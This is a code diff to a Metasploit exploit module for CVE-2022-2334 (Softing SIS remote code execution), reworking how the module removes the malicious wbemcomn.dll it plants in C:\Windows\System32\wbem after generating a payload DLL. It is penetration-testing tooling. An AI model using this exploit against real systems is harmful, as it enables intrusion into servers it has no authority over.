Attempt to improve file cleanup functionality

Author: ide0x90

modules/exploits/windows/http/softing_sis_rce.rb

@@ -185,7 +185,7 @@ def exploit
       # have MSF create the malicious DLL
       path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2022-2334')
       datastore['EXE::Path'] = path
-      datastore['EXE::Template'] = ::File.join(path, "template_x64_windows.dll")
+      datastore['EXE::Template'] = ::File.join(path, 'template_x64_windows.dll')
 
       print_status('Generating payload DLL...')
       dll = generate_payload_dll
@@ -258,31 +258,15 @@ def exploit
       vprint_error("#{peer} - #{restore_config_res_json}")
       fail_with Failure::UnexpectedReply, "#{peer} - Returned code #{restore_config_res.code}, could not restore configuration!"
     end
-
-    # if the exploit was successful, register the malicious wbemcomn.dll file for cleanup
-    register_file_for_cleanup('C:\\Windows\\System32\\wbem\\wbemcomn.dll')
   end
 
   # clean up the planted DLL if the session is meterpreter
   def on_new_session(session)
     super
 
-    if session.type != 'meterpreter'
-      print_error('Meterpreter not used. Please manually remove C:\\Windows\\System32\\wbem\\wbemcomn.dll')
-      return
-    end
-
-    # load stdapi
-    session.core.use('stdapi') if !session.ext.aliases.include?('stdapi')
-
-    begin
-      files = session.fs.file.search('C:\\Windows\\System32\\wbem', 'wbemcomn.dll')
-      files.each do |f|
-        print_warning("Deleting: #{f['path'] + '\\' + f['name']}")
-        session.fs.file.rm(f['path'] + '\\' + f['name'])
-      end
-    rescue StandardError => e
-      print_error("Unable to delete - #{e}")
+    unless file_dropper_delete_file(session, 'C:\\Windows\\System32\\wbem\\wbemcomn.dll')
+      # if the exploit was successful, register the malicious wbemcomn.dll file for cleanup
+      register_file_for_cleanup('C:\\Windows\\System32\\wbem\\wbemcomn.dll')
     end
   end